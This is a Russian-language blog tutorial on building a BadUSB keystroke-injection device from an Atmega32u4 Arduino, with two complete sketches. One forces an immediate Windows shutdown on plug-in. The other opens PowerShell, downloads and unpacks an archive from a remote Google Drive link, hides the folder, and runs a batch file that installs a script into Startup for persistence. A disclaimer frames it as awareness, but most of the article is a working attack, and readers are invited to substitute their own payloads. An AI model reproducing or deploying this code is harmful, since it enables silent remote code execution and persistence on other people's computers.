
Для реализации примера нам понадобится:
Arduino на микроконтроллере atmega 32u4: http://ali.pub/3ncdj8
Прежде чем приступить к материалу, я Вас попрошу, если нравится то, что я делаю и хотите следить за моей деятельностью, то рекомендую подписаться на мой телеграмм канал: https://t.me/ypavla
Там я публикую новости о вышедших видео, статьях и разные устройства для умного дома и не только показываю.
Спасибо за внимание, теперь продолжим.
Важно:Данная статья создана исключительно для ознакомления, автор не несет ответственности за Ваши деяния и не побуждает повторять подобное. Статья создана исключительно в ознакомительных целях.
В этой статье я попробую рассказать о том как можно навредить вашему компьютеру через usb порт. Данный тип атаки на компьютер частенько используют хакеры и называется он Badusb.
BadUSB — класс хакерских атак, основанный на уязвимости USB устройств. Благодаря отсутствию защиты от перепрошивки в некоторых USB-устройствах, злоумышленник может видоизменить или полностью заменить оригинальную прошивку и заставить устройство имитировать любое другое устройство. BadUSB предназначен для доставки и исполнения вредоносного кода.
Так как микроконтроллер Atmega32u4 умеет работать как hit устройство (клавиатура или мышь) то можно написать код для имитации нажатия клавиш. Мы делали что-то подобное в статье когда использовали arduino leonardo и rfid метки для авторизации на компьютере. Тогда мы прикладывали авторизационную карточку и у нас вводился пароль от компьютера, как аз он вводился “имитацией нажатия клавиш” . Ссылка на статью тут.
И так, первый пример который я Вам покажу очень простой, мы сделаем так, что когда устройство подключим к компьютеру по usb, он у нас выключится. Назовем скетч “poweroff” Он выглядит следующим образом:
#include <Keyboard.h>
void setup() {
Keyboard.begin();
delay(3000);//Delay
Keyboard.press(KEY_LEFT_GUI);//Кнопка win
delay(500);
Keyboard.press('r');//Win+R
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.println("cmd"); // вызываем командную строку
Keyboard.press(KEY_RETURN);//Enter
delay(500);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("shutdown -s -f -t 0"); //Shutdown
Keyboard.press(KEY_RETURN);
delay(500);
Keyboard.release(KEY_RETURN);
Keyboard.end();
}
void loop()
{
}
Данная программа при подключении к компьютеру вызывает командную строку и вводит команду “shutdown -s -f -t 0”, что приводит к выключению компьютера. Но есть одно но программа все корректно введет, если будет стоять английская раскладка клавиатуры. Существует несколько вариантов обхода данного неудобства, но пока я не буду Вам о них рассказывать, хватит для первого раза и этого. Данный скетч можно скачать по ссылке: https://yadi.sk/d/vha87lq2gB3nmQ
Еще есть вариант для поиграться, это вариант от AlexGyver он там делает из такого устройства имитацию разных нажатий и это будет очень раздражать. Ссылка.
С простыми примерами разобрались, теперь давайте немного усложним, а именно при подключении устройства к компьютеру устройство скачает архив с удаленного сервера, разархивирует из него два .bat файла, и запустит один из них. Тот .bat файл который мы запустим копирует второй файл в автозагрузку. BAT файл который мы отправим в автозагрузку будет при каждом включении компьютера создавать на рабочем столе текстовый файл с сообщением test. Естественно вы можете заменить .bat файлы на свои и сделать что-то другое, я лишь расскажу о способе доставки скриптов на Ваш компьютер для того чтоб Вы не допустили такого с Вашим ПК.
Итак скетч выглядит следующим образом:
#include <Keyboard.h>
void setup(){
Keyboard.begin();
delay(2000);
createFolder();
getFiles();
setUpFiles();
}
void loop(){}
void winPlusR() {
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(45);
Keyboard.releaseAll();
delay(100);
}
void createFolder(){
winPlusR();
// запусаем командную строку
Keyboard.println("cmd");
Keyboard.write(KEY_RETURN);
delay(500);
// переходим надиск C:\
Keyboard.println("cd C:/");
Keyboard.write(KEY_RETURN);
delay(100);
// создаём папку "Downloads"
Keyboard.println("mkdir Downloads");
Keyboard.write(KEY_RETURN);
delay(100);
// закрываем окно
Keyboard.println("exit");
Keyboard.write(KEY_RETURN);
delay(2000);
}
void getFiles(){
winPlusR();
// открываем powershell
Keyboard.println("powershell");
Keyboard.write(KEY_RETURN);
delay(1000);
// переходим в папку Downloads
Keyboard.println("cd C:/Downloads/");
Keyboard.write(KEY_RETURN);
delay(1000);
// задаём адрес для скачивания
Keyboard.println("$download_url = 'https://drive.google.com/uc?authuser=0&id=1F6rZPuMAb5MZlHoc3lAgvXUCr42cpn7W&export=download'");
Keyboard.write(KEY_RETURN);
delay(1000);
// задаём локальный путь для сохранения файла
Keyboard.println("$local_path = 'C:/Downloads/arch.zip'");
Keyboard.write(KEY_RETURN);
delay(1000);
// запускаем веб клиент
Keyboard.println("$WebClient = New-Object System.Net.WebClient");
Keyboard.write(KEY_RETURN);
delay(500);
// качаем архив
Keyboard.println("$WebClient.DownloadFile($download_url, $local_path)");
Keyboard.write(KEY_RETURN);
delay(1250);
// распаковываем его
Keyboard.println("Expand-Archive arch.zip");
Keyboard.write(KEY_RETURN);
delay(750);
// закрываем окно
Keyboard.println("exit");
Keyboard.write(KEY_RETURN);
delay(200);
}
void setUpFiles(){
winPlusR();
// открываем командную строку
Keyboard.println("cmd");
Keyboard.write(KEY_RETURN);
delay(100);
// переходим на диск C:\
Keyboard.println("cd C:/");
Keyboard.write(KEY_RETURN);
delay(100);
// делаем папку Downloads невидимой для пользователя
Keyboard.println("attrib +h Downloads");
Keyboard.write(KEY_RETURN);
delay(100);
// Делаем файлы в папке Downloads невидимыми
Keyboard.println("attrib +h Downloads/");
Keyboard.write(KEY_RETURN);
delay(100);
//Переходим в разархивированную папку
Keyboard.println("cd C:/Downloads/arch/");
Keyboard.write(KEY_RETURN);
//Запускаем скрипт "copy.bat"
Keyboard.println("copy.bat");
Keyboard.write(KEY_RETURN);
// прописываем в автозагрузку
//Keyboard.println("copy arch.bat C:/Users/оператор/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup ");
//Keyboard.write(KEY_RETURN);
delay(250);
// стираем написанное и закрываем cmd
Keyboard.println("cls && exit");
Keyboard.write(KEY_RETURN);
}
Скетч можно скачать по ссылке:https://yadi.sk/d/stIfN2CLADi73w
На этом пока все, если тема интересна, то пишите предложения в комментариях или в комментариях под видео.
Видео с демонстрацией работы: